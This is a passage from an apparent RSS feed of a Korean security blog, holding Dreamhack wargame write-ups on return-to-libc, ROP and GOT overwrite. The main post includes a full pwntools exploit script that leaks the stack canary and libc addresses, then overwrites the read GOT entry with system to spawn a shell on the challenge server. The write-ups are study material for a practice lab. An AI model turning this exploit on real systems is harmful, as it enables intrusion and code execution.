&lt;figure id=&quot;og_1675404764344&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[system][hacking] Exploit Tech : Return to Library(RTL)&quot; data-og-description=&quot;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기&quot; data-og-host=&quot;3omh4.tistory.com&quot; data-og-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; data-og-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bpRnkx/hyRt0A6KrH/kkZoOKFA81Jib79xmcp0G1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/kONBq/hyRvjsh5zA/61Sj4uW4iEBVk6Gh62qUQk/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/WUCvL/hyRtU8IjDZ/gxkH0fkYKcupKCYP7KHqw0/img.png?width=750&amp;amp;height=502&amp;amp;face=0_0_750_502&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bpRnkx/hyRt0A6KrH/kkZoOKFA81Jib79xmcp0G1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/kONBq/hyRvjsh5zA/61Sj4uW4iEBVk6Gh62qUQk/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/WUCvL/hyRtU8IjDZ/gxkH0fkYKcupKCYP7KHqw0/img.png?width=750&amp;amp;height=502&amp;amp;face=0_0_750_502');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[system][hacking] Exploit Tech : Return to Library(RTL)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;3omh4.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 위의 코드와 같다. 간단히 설명하자면 처음 read함수를 이용해 canary값을 얻고, 두번째 read 함수의 GOT를 systm함수의 주소로 덮어 system(&quot;/bin/sh&quot;)를 실행해 쉘을 획득한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;익스플로잇 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 목적은 read를 이용해 system(&quot;/bin/sh&quot;)를 실행하는 것이다. 이를 위해서는 아래의 과정이 필요하다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;카나리 우회&lt;/li&gt;
&lt;li&gt;system 함수 주소 계산&lt;/li&gt;
&lt;li&gt;&quot;/bin/sh&quot; 문자열 주소 찾기&lt;/li&gt;
&lt;li&gt;GOT overwrite&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 카나리 우회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8-%EA%B8%B0%EB%B2%95-memory-mitigation-Stack-Canary&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;카나리가 무엇&lt;/a&gt;인지, &lt;a href=&quot;https://3omh4.tistory.com/entry/systemhacking-bypass-canary&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;어떻게 우회&lt;/a&gt;하는 지는 링크된 글에 정리되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. system함수 주소 계산&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;system 함수는 libc.so.6에 정의되어 있다. libc.so.6에는 read, puts, printf, system 함수 등이 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, &lt;b&gt;libc.so.6의 모든 함수가 프로세스 메모리에 같이 적재&lt;/b&gt;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;바이너리가 system함수를 직접 호출하지 않아서 system함수가 GOT에는 등록되어 있지 않다(이유는 &lt;a href=&quot;https://3omh4.tistory.com/entry/system-PLT-GOT&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;이 글&lt;/a&gt;에서 확인바란다). 그러나&lt;span style=&quot;background-color: #f6e199;&quot;&gt; &lt;b&gt;puts, read, printf는 GOT에 등록&lt;/b&gt;&lt;/span&gt;되어있다. 이들의 GOT를 얻을 수 있다면 libc.so.6이 매핑된 주소를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;libc는 여러 버전이 있는데 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;같은 &lt;b&gt;버전의 libc안에서 두 데이터 사이의 거리(offset)는 항상 같다&lt;/b&gt;.&lt;/span&gt; 그래서 libc버전을 알면 offset은 알 수 있으므로, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;libc가 매핑된 영역의 임의 주소(base_address)를 구할 수 있으면 원하는 데이터의 주소를 모두 계산&lt;/b&gt;&lt;/span&gt;할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1680478856677&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]

payload = b&quot;A&quot;*0x38 + p64(cnry) + b&quot;B&quot;*0x8

# puts(read_got) -&amp;gt; read 함수 주소 구하려는 용도
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read 함수 주소를 이용해 system 함수 주소 구하는 과정
p.sendafter(&quot;Buf: &quot;, payload)
read = u64(p.recvn(6)+b&quot;\x00&quot;*2)
lb = read - libc.symbols[&quot;read&quot;]
system = lb + libc.symbols[&quot;system&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e.got['read']는 read함수의 got 테이블 주소를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read함수의 주소를 얻으려면 puts함수를 이용해야한다. puts함수는 인자로 포인터를 전달하기 때문에 read의 got 주소를 넘겨주면 read의 got 주소가 가지고 있는 값, 즉, read의 실제주소를 출력해준다. 이 과정은 system 함수 주소를 구하기 위해 필요한 과정이다.&lt;/p&gt;
&lt;pre id=&quot;code_1680480123236&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int puts(const char *s);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;puts의 실행 결과를 u64(p.recvn(6)+b&quot;\x00&quot;*2)이런 식으로 받아준다. 보통 우분투 환경에서 64비트 바이너리의 libc 주소는 '0x7f'부터 시작되고 총 6바이트이며, 나머지는 0x00(NULL)으로 채워진다.&lt;/p&gt;
&lt;pre id=&quot;code_1680480325479&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[DEBUG] Received 0x7 bytes:
    00000000  50 63 03 06  0a 7f 0a                               │Pc&amp;middot;&amp;middot;│&amp;middot;&amp;middot;&amp;middot;│
    00000007&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 전달받은 값을 context.log_level = 'debug'로 출력해보면 7바이트를 받는 것을 확인할 수 있다. 이때 맨 마지막의 0x0a는 puts로 출력할 때 붙는 개행문자('\n')이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. &quot;/bin/sh&quot; 문자열 주소 찾기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 바이너리는 데이터 영역에 /bin/sh 문자열이 없다. 그래서 이 문자열을 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;다른 파일의 문자열을 참조할 때 많이 사용되는 것이 libc.so.6에 포함된 &quot;/bin/sh&quot;문자열이다. 이 문자열도 system 함수 주소 구하는 방식과 마찬가지로 , libc의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산한다. 이 방식은 버퍼에 /bin/sh를 입력하기 어려울 때 차선으로 사용한다.&lt;/p&gt;
&lt;pre id=&quot;code_1680482090544&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pwndbg&amp;gt; search /bin/sh
Searching for value: '/bin/sh'
libc-2.31.so    0x7f5388fb05bd 0x68732f6e69622f /* '/bin/sh' */&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;b&gt;이번 실습에서는 버퍼에 /bin/sh를 입력하고, 이를 이용한다. 덮어쓸 GOT 엔트리 뒤에 같이 입력해줄 것이다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. GOT Overwrite&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난 RTL 실습에서는 system함수의 plt주소와 /bin/sh의 주소를 구한 후, ROP 가젯을 활용해 system(&quot;/bin/sh&quot;)를 호출하였다. 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후여서, system함수를 사용하려면 main함수로 돌아가 버퍼 오버플로우를 일으켜야 한다. 이런 공격패턴을 ret2main이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 실습에서는 GOT Overwrite를 이용해 한번에 쉘을 획득할 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라이브러리 동적링킹에서 lazy binding의 과정은 아래와 같다.&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾기&lt;/li&gt;
&lt;li&gt;찾은 주소를 GOT에 적고, 이를 호출&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한번 호출됐던 함수를 다시 호출할 때 GOT에 적힌 주소를 검증하지 않고 참조한다. 여기서 GOT의 주소를 변조할 수 있다면 해당 함수가 재호출될 때 다른 함수를 실행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;알아낸 system 함수의 주소를 다른 함수(호출될 함수)의 GOT에 쓰고, GOT가 변조된 함수를 호출하도록 ROP 체인을 구성해준다&lt;/b&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하자면, 다른 함수를 이용해 offset 계산으로 system함수의 주소를 얻고, 얻은 주소를 read함수의 got주소에 넣어준다. 이를 위해 가젯을 이용해 read(0, read_got, 0x10)으로 read_got주소에 system 함수의 주소를 넣어주는 과정이 필요하다. system 함수의 주소를 넣어줄 때, &quot;/bin/sh\x00&quot; 문자열도 같이 넣어준다. 그 후 read함수를 호출하면 system 함수를 호출하는 것이 된다. 따라서 마지막으로 read(&quot;/bin/sh&quot;)을 호출하도록 ROP 체인을 구성해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Payload 작성&lt;/h2&gt;
&lt;pre id=&quot;code_1703208940212&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = 'debug'

#p = process(&quot;./rop&quot;)
p = remote('host3.dreamhack.games',16940)
e = ELF('./rop')
r = ROP(e)
lib = ELF(&quot;./libc.so.6&quot;)
lib_r = ROP(lib)
def slog(name, addr):
    return success(&quot;: &quot;.join([name,hex(addr)]))

read_plt = e.plt[&quot;read&quot;] #read 함수의 plt 주소
read_got = e.got[&quot;read&quot;] #read 함수의 got 주소 -&amp;gt; read함수의 주소 아님!(got 테이블 주소임)
puts_plt = e.plt[&quot;puts&quot;] #puts 함수의 plt 주소
puts_got = e.got[&quot;puts&quot;] #puts 함수의 got 주소
write_plt = e.plt[&quot;write&quot;]
write_got = e.got[&quot;write&quot;]
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret = 0x0000000000400596

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

payload = b&quot;A&quot;*0x38 + p64(cnry) + b&quot;B&quot;*0x8

# [2] system addr
# [2] puts(read_got) -&amp;gt; read함수의 주소 출력
payload += p64(pop_rdi) + p64(read_got)
payload += p64(write_plt) # puts(read_got) 호출

# [4] GOT overwrite
# read(0, read_got, ...) -&amp;gt; 표준 입력에서 값을 읽어와 read_got에 저장
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt) # read(0, read_got, ...) 호출

# read(&quot;/bin/sh&quot;) == system(&quot;/bin/sh&quot;)
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

print(hex(len(payload)))
slog(&quot;pop_rdi&quot;,pop_rdi)
slog(&quot;read_got&quot;,read_got)
slog(&quot;pop_rsi_r15&quot;,pop_rsi_r15)
p.sendafter(&quot;Buf: &quot;, payload)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - lib.symbols[&quot;read&quot;]
system = lb + lib.symbols[&quot;system&quot;]
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system)+b&quot;/bin/sh\0x00&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 puts함수를 사용해 read 함수 주소를 알아내려 하였으나, 계속 제대로 동작을 안해 디버깅해보니, read(0. read_got, 0)으로 setting되어 read_got 주소를 덮을 수 없는 것으로 파악하였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdU2bY/btsCo5xXuTI/Pd0GKf90mHgKmTxSGWVjs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdU2bY/btsCo5xXuTI/Pd0GKf90mHgKmTxSGWVjs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdU2bY/btsCo5xXuTI/Pd0GKf90mHgKmTxSGWVjs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdU2bY%2FbtsCo5xXuTI%2FPd0GKf90mHgKmTxSGWVjs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;831&quot; height=&quot;666&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 puts함수 말고 write함수로 바꿔줬더니, 제대로 작동하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1703209387015&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [2] puts(read_got) -&amp;gt; read함수의 주소 출력
# payload += p64(pop_rdi) + p64(read_got)
# payload += p64(write_plt) # puts(read_got) 호출
payload += p64(pop_rdi) + p64(1) 
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zgi9p/btszk48yRxR/hjyMBrzck5gWJKjV4oVX11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zgi9p/btszk48yRxR/hjyMBrzck5gWJKjV4oVX11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zgi9p/btszk48yRxR/hjyMBrzck5gWJKjV4oVX11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzgi9p%2Fbtszk48yRxR%2FhjyMBrzck5gWJKjV4oVX11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;425&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CS/system</category>
      <category>Dreamhack</category>
      <category>hacking</category>
      <category>ROP</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/57</guid>
      <comments>https://3omh4.tistory.com/entry/DreamHack-Exploit-Tech-Return-Oriented-ProgrammingROP#entry57comment</comments>
      <pubDate>Fri, 22 Dec 2023 10:43:32 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] Return to Library - Write Up</title>
      <link>https://3omh4.tistory.com/entry/DreamHack-Return-to-Library-Write-Up</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 아래 글과 동일한 문제이다. 다만 차이가 있다면 pwntools을 이용해 가젯과 문자열을 찾았다.&lt;/p&gt;
&lt;figure id=&quot;og_1675340700511&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[system][hacking] Exploit Tech : Return to Library(RTL)&quot; data-og-description=&quot;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기&quot; data-og-host=&quot;3omh4.tistory.com&quot; data-og-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; data-og-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bEEKBn/hyRtYJHBnm/2GHUMKCx5SBTdPXUGFXcZ1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/cmrE0U/hyRtSW19tw/kMkx08WGrdz5AQbovhWib1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/dLAHvO/hyRtUURHxM/ttvMxw1sps7y0wtCLr74X0/img.png?width=774&amp;amp;height=260&amp;amp;face=0_0_774_260&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bEEKBn/hyRtYJHBnm/2GHUMKCx5SBTdPXUGFXcZ1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/cmrE0U/hyRtSW19tw/kMkx08WGrdz5AQbovhWib1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/dLAHvO/hyRtUURHxM/ttvMxw1sps7y0wtCLr74X0/img.png?width=774&amp;amp;height=260&amp;amp;face=0_0_774_260');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[system][hacking] Exploit Tech : Return to Library(RTL)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;3omh4.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단히 사용한 API만 정리하였다. 밑의 API를 이용해 위 글의 페이로드를 적절히 수정해 해결하였다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;pwntools&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ELF, ROP&lt;/h3&gt;
&lt;pre id=&quot;code_1675341213547&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;e = ELF('./rtl')
r = ROP(e)

system_plt = e.plt[&quot;system&quot;]
		# binary(./rtl)에 존재하는 PLT주소
binsh = next(e.search(b&quot;/bin/sh&quot;))
		# binary(./rtl)에 존재하는 /bin/sh 문자열의 offset
gadget = r.find_gadget(['pop rdi', 'ret'])[0]
		# binary(./rtl)에 존재하는 pop rdi, ret 가젯의 주소&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;search함수는 단독으로 사용할 경우 오류가 생겼다.. 이유를 모르겠다..&lt;/p&gt;</description>
      <category>wargame - system/DreamHack</category>
      <category>Dreamhack</category>
      <category>pwntools</category>
      <category>RTL</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/51</guid>
      <comments>https://3omh4.tistory.com/entry/DreamHack-Return-to-Library-Write-Up#entry51comment</comments>
      <pubDate>Thu, 2 Feb 2023 21:36:21 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] Exploit Tech : Return to Library(RTL)</title>
      <link>https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다.&lt;/p&gt;
&lt;figure id=&quot;og_1669773202158&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[system][hacking] 메모리 보호기법 Mitigation: NX &amp;amp; ASLR&quot; data-og-description=&quot;지난 글(Return to shellcode)를 보면 쉘을 딸 수 있었던 이유는 다음과 같다. return addr을 임의의 주소로 덮기 가능 &amp;rarr; canary 도입 &amp;rArr; canary leak 으로 우회 버퍼의 주소 알아내기 가능 버퍼안의 쉘코드 실&quot; data-og-host=&quot;3omh4.tistory.com&quot; data-og-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR&quot; data-og-url=&quot;https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/caARbj/hyQJEZOQHJ/i3X6bfkafP1wzyilmOvX2K/img.png?width=466&amp;amp;height=273&amp;amp;face=0_0_466_273,https://scrap.kakaocdn.net/dn/o6wLr/hyQJJGRQuH/04MeHI86YhxemL824KkOq0/img.png?width=466&amp;amp;height=273&amp;amp;face=0_0_466_273,https://scrap.kakaocdn.net/dn/bwDrlq/hyQKQYFuYO/o5piUrQpc50iaG8IzfT3IK/img.png?width=882&amp;amp;height=453&amp;amp;face=0_0_882_453&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/caARbj/hyQJEZOQHJ/i3X6bfkafP1wzyilmOvX2K/img.png?width=466&amp;amp;height=273&amp;amp;face=0_0_466_273,https://scrap.kakaocdn.net/dn/o6wLr/hyQJJGRQuH/04MeHI86YhxemL824KkOq0/img.png?width=466&amp;amp;height=273&amp;amp;face=0_0_466_273,https://scrap.kakaocdn.net/dn/bwDrlq/hyQKQYFuYO/o5piUrQpc50iaG8IzfT3IK/img.png?width=882&amp;amp;height=453&amp;amp;face=0_0_882_453');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[system][hacking] 메모리 보호기법 Mitigation: NX &amp;amp; ASLR&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;지난 글(Return to shellcode)를 보면 쉘을 딸 수 있었던 이유는 다음과 같다. return addr을 임의의 주소로 덮기 가능 &amp;rarr; canary 도입 &amp;rArr; canary leak 으로 우회 버퍼의 주소 알아내기 가능 버퍼안의 쉘코드 실&lt;/p&gt;
